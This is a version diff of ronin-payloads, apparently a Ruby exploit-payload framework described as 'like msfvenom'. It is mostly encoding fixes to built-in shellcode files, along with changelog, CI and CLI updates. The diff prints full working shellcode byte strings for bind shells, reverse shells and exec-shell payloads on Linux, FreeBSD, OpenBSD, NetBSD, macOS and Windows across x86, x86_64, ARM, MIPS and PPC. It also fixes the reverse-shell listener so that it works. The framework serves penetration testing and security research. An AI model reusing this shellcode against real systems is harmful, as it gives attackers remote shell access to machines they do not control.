ronin-payloads 0.1.4 → 0.1.6

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 22dcc9ea244534bd659de580c4ef0576401bf480055ad9b0a6a05787e7375c1b
-  data.tar.gz: f3ce8d4f1e8b1c80610c9de6d860514d9a3d5ef4eb6840d7f888d12fc6621f4c
+  metadata.gz: 97fb8be02023f3bdaf5ef16711bf1192a574ee10b00a46912c964b01e8577012
+  data.tar.gz: a3eb94423e154cd03df538b3883f58de6c166dc7ba7a8f6da077f192f9c66b44
 SHA512:
-  metadata.gz: 8449b2f43b09fd2bf49b29417f8004e24c970b4e797a65430fdfd9df8c7132daa8d4112c36f3a5bb6569efc92e4ada98a0de624a1eb209e50eeadaa245750536
-  data.tar.gz: 02b8ae12c4b29dbd3987067d429919a4bbc883ff562dd8228b93b2eef8ed80fbf8f82c366d43d9a00c92f48570afe480186a2f7cd2ec80d2d35e56312160546e
+  metadata.gz: c4d865c10c583da8a38aea5bb79f39f1165d15dd54e09594a2a557a4880058d7c6bd6f5411f382f9a49386cd2fc36ada45868a7001135ebc742613c9d732a359
+  data.tar.gz: 795417f0c54ae31283be366941b1f703f67fc3d7cfae9cd13f634b89323b2119e0389cc433638514296327a93f4efdfdad5d63c6458eb46fdb3a5be8f4a192a6

data/.github/workflows/ruby.yml

@@ -12,11 +12,12 @@ jobs:
           - '3.0'
           - '3.1'
           - '3.2'
+          - '3.3'
           - jruby
           - truffleruby
     name: Ruby ${{ matrix.ruby }}
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v4
       - name: Set up Ruby
         uses: ruby/setup-ruby@v1
         with:
@@ -35,7 +36,7 @@ jobs:
   rubocop:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v4
       - name: Set up Ruby
         uses: ruby/setup-ruby@v1
         with:

data/.rubocop.yml

@@ -40,3 +40,6 @@ Style/RedundantLineContinuation:
 Layout/LineContinuationSpacing:
   Exclude:
     - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'
+Style/StringConcatenation:
+  Exclude:
+    - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'

data/ChangeLog.md

@@ -1,3 +1,27 @@
+### 0.1.6 / 2024-07-01
+
+#### Payloads
+
+* Fixed `incompatible character encodings: UTF-8 and ASCII-8BIT` exceptions when
+  building shellcode payloads with certain IP addresses or port numbers.
+
+### 0.1.5 / 2024-06-19
+
+* Fixed order of arguments passed to `TCPServer.new` in
+  {Ronin::Payloads::Mixins::ReverseShell#perform_prelaunch} which was preventing
+  reverse shells from opening a local TCP server socket.
+
+#### Payloads
+
+* Fixed the module namespace for the {Ronin::Payloads::CMD::Node::ReverseShell}
+  payload (aka `cmd/node/reverse_shell`).
+
+#### CLI
+
+* Automatically create the parent directory of the new payload file,
+  if it doesn't exist, when running `ronin-payloads new path/to/new_payload.rb`.
+* Fixed typo in `ronin-payloads encode` man-page for the `-E,--encoder` option.
+
 ### 0.1.4 / 2023-09-19
 
 #### CLI

data/README.md

@@ -18,7 +18,9 @@ payloads. ronin-payloads allows one to write payloads as plain old Ruby classes.
 ronin-payloads can be distributed as Ruby files or in git repositories that can
 be installed with [ronin-repos].
 
-ronin-exploits is part of the [ronin-rb] project, a [Ruby] toolkit for security
+**tl;dr** It's like `msfvenom` but simpler and more modular.
+
+ronin-payloads is part of the [ronin-rb] project, a [Ruby] toolkit for security
 research and development.
 
 ## Features
@@ -27,7 +29,7 @@ research and development.
   possible.
 * Supports defining Payloads as plain old Ruby classes.
 * Provides base classes for a variety of languages and payload types
- (ASM, Shellcode, C, Go, Rust, Java, JSP, PHP, Python, Ruby, NodeJS, Shell,
+  (ASM, Shellcode, C, Go, Rust, Java, JSP, PHP, Python, Ruby, NodeJS, Shell,
   PowerShell, SQL, XML, HTML, URL).
 * Provides built-in common payloads:
   * Command-line reverse shells:
@@ -194,8 +196,8 @@ $ ronin-payloads new example_payload.rb \
 Generate a ronin repository of your own payloads (or exploits):
 
 ```shell
-$ ronin-repos new my-payloads
-$ cd my-payloads/
+$ ronin-repos new my-repo
+$ cd my-repo/
 $ mkdir payloads
 $ ronin-payloads new payloads/my_payload.rb \
                       --name MyPayload --arch i686 --os Linux \
@@ -211,6 +213,7 @@ $ git push
 Define a `/bin/sh` shellcode payload:
 
 ```ruby
+# encoding: ASCII-8BIT
 require 'ronin/payloads/shellcode_payload'
 
 module Ronin

data/gemspec.yml

@@ -6,6 +6,8 @@ description:
   classes. ronin-payloads can be distributed as Ruby files or in git
   repositories that can be installed with ronin-repos.
 
+  It's like `msfvenom` but simpler and more modular.
+
 license: LGPL-3.0
 authors: Postmodern
 email: postmodern.mod3@gmail.com

data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb

@@ -25,7 +25,7 @@ require 'ronin/payloads/mixins/reverse_shell'
 module Ronin
   module Payloads
     module CMD
-      module NodeJS
+      module Node
         #
         # A basic `node` (Node.js) reverse shell command.
         #

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -58,7 +59,7 @@ module Ronin
                          "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" \
                          "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" \
                          "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" \
-                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
+                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -53,7 +54,7 @@ module Ronin
             def build
               @payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
                          "\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
-                         "\x54\x53\xb0\x3b\x50\xcd\x80".b
+                         "\x54\x53\xb0\x3b\x50\xcd\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -56,7 +57,7 @@ module Ronin
                          "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
                          "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
                          "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
-                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
+                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -53,7 +54,7 @@ module Ronin
             def build
               @payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
                          "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
-                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
+                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -119,7 +120,7 @@ module Ronin
                          "\x08\x00\x8d\xe2" \
                          "\x00\x10\x8d\xe2" \
                          "\x04\x20\x8d\xe2" \
-                         "\x0b\x00\x90\xef".b
+                         "\x0b\x00\x90\xef"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xc2\x51\x03\x37" \
                          "\x01\xdf\x2f\x62" \
                          "\x69\x6e\x2f\x2f" \
-                         "\x73\x68".b
+                         "\x73\x68"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -72,7 +73,7 @@ module Ronin
                          "#{packed_port}" \
                          "#{packed_ipv4}" \
                          \
-                         "/bin/sh\0".b
+                         "/bin/sh\0"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -118,7 +119,7 @@ module Ronin
                          "\xf0\xff\xa5\x23" \
                          "\xab\x0f\x02\x24" \
                          "\x0c\x01\x01\x01" \
-                         "/bin/sh".b
+                         "/bin/sh"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,18 +52,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x28\x06\xff\xff".b + # slti    a2,zero,-1
-                         "\x3c\x0f\x2f\x2f".b + # lui     t7,0x2f2f
-                         "\x35\xef\x62\x69".b + # ori     t7,t7,0x6269
-                         "\xaf\xaf\xff\xf4".b + # sw      t7,-12(sp)
-                         "\x3c\x0e\x6e\x2f".b + # lui     t6,0x6e2f
-                         "\x35\xce\x73\x68".b + # ori     t6,t6,0x7368
-                         "\xaf\xae\xff\xf8".b + # sw      t6,-8(sp)
-                         "\xaf\xa0\xff\xfc".b + # sw      zero,-4(sp)
-                         "\x27\xa4\xff\xf4".b + # addiu   a0,sp,-12
-                         "\x28\x05\xff\xff".b + # slti    a1,zero,-1
-                         "\x24\x02\x0f\xab".b + # li      v0,4011
-                         "\x01\x01\x01\x0c".b   # syscall 0x40404
+              @payload = "\x28\x06\xff\xff" + # slti    a2,zero,-1
+                         "\x3c\x0f\x2f\x2f" + # lui     t7,0x2f2f
+                         "\x35\xef\x62\x69" + # ori     t7,t7,0x6269
+                         "\xaf\xaf\xff\xf4" + # sw      t7,-12(sp)
+                         "\x3c\x0e\x6e\x2f" + # lui     t6,0x6e2f
+                         "\x35\xce\x73\x68" + # ori     t6,t6,0x7368
+                         "\xaf\xae\xff\xf8" + # sw      t6,-8(sp)
+                         "\xaf\xa0\xff\xfc" + # sw      zero,-4(sp)
+                         "\x27\xa4\xff\xf4" + # addiu   a0,sp,-12
+                         "\x28\x05\xff\xff" + # slti    a1,zero,-1
+                         "\x24\x02\x0f\xab" + # li      v0,4011
+                         "\x01\x01\x01\x0c"   # syscall 0x40404
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -100,7 +101,7 @@ module Ronin
                          "\x27\xa4\xff\xf4" \
                          "\x28\x05\xff\xff" \
                          "\x24\x02\x0f\xab" \
-                         "\x01\x01\x01\x0c".b
+                         "\x01\x01\x01\x0c"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,20 +52,20 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x7c\x3f\x0b\x78".b + # mr	r31,r1
-                         "\x7c\xa5\x2a\x79".b + # xor.	r5,r5,r5
-                         "\x42\x40\xff\xf9".b + # bdzl+	10000454< main>
-                         "\x7f\x08\x02\xa6".b + # mflr	r24
-                         "\x3b\x18\x01\x34".b + # addi	r24,r24,308
-                         "\x98\xb8\xfe\xfb".b + # stb	r5,-261(r24)
-                         "\x38\x78\xfe\xf4".b + # addi	r3,r24,-268
-                         "\x90\x61\xff\xf8".b + # stw	r3,-8(r1)
-                         "\x38\x81\xff\xf8".b + # addi	r4,r1,-8
-                         "\x90\xa1\xff\xfc".b + # stw	r5,-4(r1)
-                         "\x3b\xc0\x01\x60".b + # li	r30,352
-                         "\x7f\xc0\x2e\x70".b + # srawi	r0,r30,5
-                         "\x44\xde\xad\xf2".b + # .long	0x44deadf2
-                         "/bin/shZ".b  # the last byte becomes NULL
+              @payload = "\x7c\x3f\x0b\x78" + # mr	r31,r1
+                         "\x7c\xa5\x2a\x79" + # xor.	r5,r5,r5
+                         "\x42\x40\xff\xf9" + # bdzl+	10000454< main>
+                         "\x7f\x08\x02\xa6" + # mflr	r24
+                         "\x3b\x18\x01\x34" + # addi	r24,r24,308
+                         "\x98\xb8\xfe\xfb" + # stb	r5,-261(r24)
+                         "\x38\x78\xfe\xf4" + # addi	r3,r24,-268
+                         "\x90\x61\xff\xf8" + # stw	r3,-8(r1)
+                         "\x38\x81\xff\xf8" + # addi	r4,r1,-8
+                         "\x90\xa1\xff\xfc" + # stw	r5,-4(r1)
+                         "\x3b\xc0\x01\x60" + # li	r30,352
+                         "\x7f\xc0\x2e\x70" + # srawi	r0,r30,5
+                         "\x44\xde\xad\xf2" + # .long	0x44deadf2
+                         "/bin/shZ"  # the last byte becomes NULL
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -125,7 +126,7 @@ module Ronin
                           "\x3b\xc0\x01\x60" \
                           "\x7f\xc0\x2e\x70" \
                           "\x44\xde\xad\xf2" \
-                          "/bin/shZ".b
+                          "/bin/shZ"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -98,7 +99,7 @@ module Ronin
                          "\x68\x2f\x62\x69\x6e" \
                          "\x89\xe3" \
                          "\xb0\x0b" \
-                         "\xcd\x80".b
+                         "\xcd\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -54,7 +55,7 @@ module Ronin
             def build
               @payload = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" \
                          "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" \
-                         "\x80".b
+                         "\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -62,7 +63,7 @@ module Ronin
                          "\xc0\x52\x68\x6e\x2f\x73\x68\x68" \
                          "\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
                          "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \
-                         "\x80".b
+                         "\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -59,7 +60,7 @@ module Ronin
                          "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" \
                          "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" \
                          "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" \
-                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
+                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,16 +52,16 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x48\x31\xd2".b +     # xor    %rdx, %rdx
-                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68".b + # mov	$0x68732f6e69622f2f, %rbx
-                         "\x48\xc1\xeb\x08".b + # shr    $0x8, %rbx
-                         "\x53".b +             # push   %rbx
-                         "\x48\x89\xe7".b +     # mov    %rsp, %rdi
-                         "\x50".b +             # push   %rax
-                         "\x57".b +             # push   %rdi
-                         "\x48\x89\xe6".b +     # mov    %rsp, %rsi
-                         "\xb0\x3b".b +         # mov    $0x3b, %al
-                         "\x0f\x05".b           # syscall
+              @payload = "\x48\x31\xd2" +     # xor    %rdx, %rdx
+                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" + # mov	$0x68732f6e69622f2f, %rbx
+                         "\x48\xc1\xeb\x08" + # shr    $0x8, %rbx
+                         "\x53" +             # push   %rbx
+                         "\x48\x89\xe7" +     # mov    %rsp, %rdi
+                         "\x50" +             # push   %rax
+                         "\x57" +             # push   %rdi
+                         "\x48\x89\xe6" +     # mov    %rsp, %rsi
+                         "\xb0\x3b" +         # mov    $0x3b, %al
+                         "\x0f\x05"           # syscall
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -58,7 +59,7 @@ module Ronin
                          "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
                          "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
                          "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
-                         "\x5f\x6a\x3b\x58\x0f\x05".b
+                         "\x5f\x6a\x3b\x58\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -55,7 +56,7 @@ module Ronin
               @payload = "\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01" \
                          "\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6" \
                          "\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69" \
-                         "\x6e\x2f\x2f\x73\x68".b
+                         "\x6e\x2f\x2f\x73\x68"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83" \
                          "\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48" \
                          "\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed" \
-                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
+                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -74,7 +75,7 @@ module Ronin
                          "\x01\x01\x01\x01" \
                          "\x02\x02\x02\x02" \
                          "\x03\x03\x03\x03" \
-                         "\x9a\x04\x04\x04\x04\x07\x04".b
+                         "\x9a\x04\x04\x04\x04\x07\x04"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d" \
                          "\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51" \
                          "\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f" \
-                         "\x73\x68\x41\x90".b
+                         "\x73\x68\x41\x90"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -52,18 +53,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x99".b +                 # cltd
-                         "\x52".b +                 # push	%edx
-                         "\x68\x6e\x2f\x73\x68".b + # push	$0x68732f6e
-                         "\x68\x2f\x2f\x62\x69".b + # push	$0x69622f2f
-                         "\x89\xe3".b +             # mov	%esp,%ebx
-                         "\x52".b +                 # push	%edx
-                         "\x54".b +                 # push	%esp
-                         "\x53".b +                 # push	%ebx
-                         "\x53".b +                 # push	%ebx
-                         "\x6a\x3b".b +             # push	$0x3b
-                         "\x58".b +                 # pop	%eax
-                         "\xcd\x80".b               # int	$0x80
+              @payload = "\x99" +                 # cltd
+                         "\x52" +                 # push	%edx
+                         "\x68\x6e\x2f\x73\x68" + # push	$0x68732f6e
+                         "\x68\x2f\x2f\x62\x69" + # push	$0x69622f2f
+                         "\x89\xe3" +             # mov	%esp,%ebx
+                         "\x52" +                 # push	%edx
+                         "\x54" +                 # push	%esp
+                         "\x53" +                 # push	%ebx
+                         "\x53" +                 # push	%ebx
+                         "\x6a\x3b" +             # push	$0x3b
+                         "\x58" +                 # pop	%eax
+                         "\xcd\x80"               # int	$0x80
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -52,26 +53,26 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x31\xC9".b +                 # xor ecx,ecx
-                         "\x64\x8B\x71\x30".b +         # mov esi,[fs:ecx+0x30]
-                         "\x8B\x76\x0C".b +             # mov esi,[esi+0xc]
-                         "\x8B\x76\x1C".b +             # mov esi,[esi+0x1c]
-                         "\x8B\x36".b +                 # mov esi,[esi]
-                         "\x8B\x06".b +                 # mov eax,[esi]
-                         "\x8B\x68\x08".b +             # mov ebp,[eax+0x8]
-                         "\xEB\x20".b +                 # jmp short 0x35
-                         "\x5B".b +                     # pop ebx
-                         "\x53".b +                     # push ebx
-                         "\x55".b +                     # push ebp
-                         "\x5B".b +                     # pop ebx
-                         "\x81\xEB\x11\x11\x11\x11".b + # sub ebx,0x11111111
-                         "\x81\xC3\xDA\x3F\x1A\x11".b + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
-                         "\xFF\xD3".b +                 # call ebx
-                         "\x81\xC3\x11\x11\x11\x11".b + # add ebx,0x11111111
-                         "\x81\xEB\x8C\xCC\x18\x11".b + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
-                         "\xFF\xD3".b +                 # call ebx
-                         "\xE8\xDB\xFF\xFF\xFF".b +     # call dword 0x15
-                         "\x63\x6d\x64".b               # db "cmd"
+              @payload = "\x31\xC9" +                 # xor ecx,ecx
+                         "\x64\x8B\x71\x30" +         # mov esi,[fs:ecx+0x30]
+                         "\x8B\x76\x0C" +             # mov esi,[esi+0xc]
+                         "\x8B\x76\x1C" +             # mov esi,[esi+0x1c]
+                         "\x8B\x36" +                 # mov esi,[esi]
+                         "\x8B\x06" +                 # mov eax,[esi]
+                         "\x8B\x68\x08" +             # mov ebp,[eax+0x8]
+                         "\xEB\x20" +                 # jmp short 0x35
+                         "\x5B" +                     # pop ebx
+                         "\x53" +                     # push ebx
+                         "\x55" +                     # push ebp
+                         "\x5B" +                     # pop ebx
+                         "\x81\xEB\x11\x11\x11\x11" + # sub ebx,0x11111111
+                         "\x81\xC3\xDA\x3F\x1A\x11" + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
+                         "\xFF\xD3" +                 # call ebx
+                         "\x81\xC3\x11\x11\x11\x11" + # add ebx,0x11111111
+                         "\x81\xEB\x8C\xCC\x18\x11" + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
+                         "\xFF\xD3" +                 # call ebx
+                         "\xE8\xDB\xFF\xFF\xFF" +     # call dword 0x15
+                         "\x63\x6d\x64"               # db "cmd"
             end
 
           end

data/lib/ronin/payloads/cli/commands/new.rb

@@ -25,7 +25,6 @@ require 'ronin/core/cli/generator/options/author'
 require 'ronin/core/cli/generator/options/summary'
 require 'ronin/core/cli/generator/options/description'
 require 'ronin/core/cli/generator/options/reference'
-require 'ronin/core/git'
 
 require 'command_kit/inflector'
 
@@ -81,11 +80,6 @@ module Ronin
 
           man_page 'ronin-payloads-new.1'
 
-          # The references to add to the payload.
-          #
-          # @return [Array<String>]
-          attr_reader :references
-
           #
           # Initializes the `ronin-payloads new` command.
           #
@@ -105,9 +99,12 @@ module Ronin
           #   The path to the new payload file.
           #
           def run(file)
+            @directory  = File.dirname(file)
             @file_name  = File.basename(file,File.extname(file))
             @class_name = CommandKit::Inflector.camelize(@file_name)
 
+            mkdir @directory unless @directory == '.'
+
             erb "payload.rb.erb", file
             chmod '+x', file
           end

data/lib/ronin/payloads/mixins/reverse_shell.rb

@@ -72,7 +72,7 @@ module Ronin
         # additional pre-launch steps.
         #
         def perform_prelaunch
-          @server = TCPServer.new(port,host)
+          @server = TCPServer.new(host,port)
           @server.listen(1)
 
           super

data/lib/ronin/payloads/version.rb

@@ -22,6 +22,6 @@
 module Ronin
   module Payloads
     # ronin-payloads version
-    VERSION = '0.1.4'
+    VERSION = '0.1.6'
   end
 end

data/man/ronin-payloads-build.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-build 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads build\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--file\fR \fIFILE\fP \[or] \fINAME\fP\[rC]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-encode.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-encoder 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads encoder\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--string\fR \fISTRING\fP \[or] \fIFILE\fP\[rC]
 .LP
 .SH DESCRIPTION
@@ -25,7 +25,7 @@ The optional file to read the data to encode from\.
 Formats the encoded data\.
 .LP
 .TP
-\fB-E\fR, \fB--encode\fR \fIENCODER\fP
+\fB-E\fR, \fB--encoder\fR \fIENCODER\fP
 Loads the encoder with the given name\.
 .LP
 .TP

data/man/ronin-payloads-encode.1.md

@@ -18,7 +18,7 @@ Encodes data using one or more encoders.
 `-F`, `--format` `hex`\|`c`\|`shell`\|`powershell`\|`xml`\|`html`\|`js`\|`ruby`
   Formats the encoded data.
 
-`-E`, `--encode` *ENCODER*
+`-E`, `--encoder` *ENCODER*
   Loads the encoder with the given name.
 
 `-p`, `--param` *ENCODER*`.`*NAME*`=`*VALUE*

data/man/ronin-payloads-encoder.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-encoder 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads encoder\fR \[lB]\fIoptions\fP\[rB] \fINAME\fP
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-encoders.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
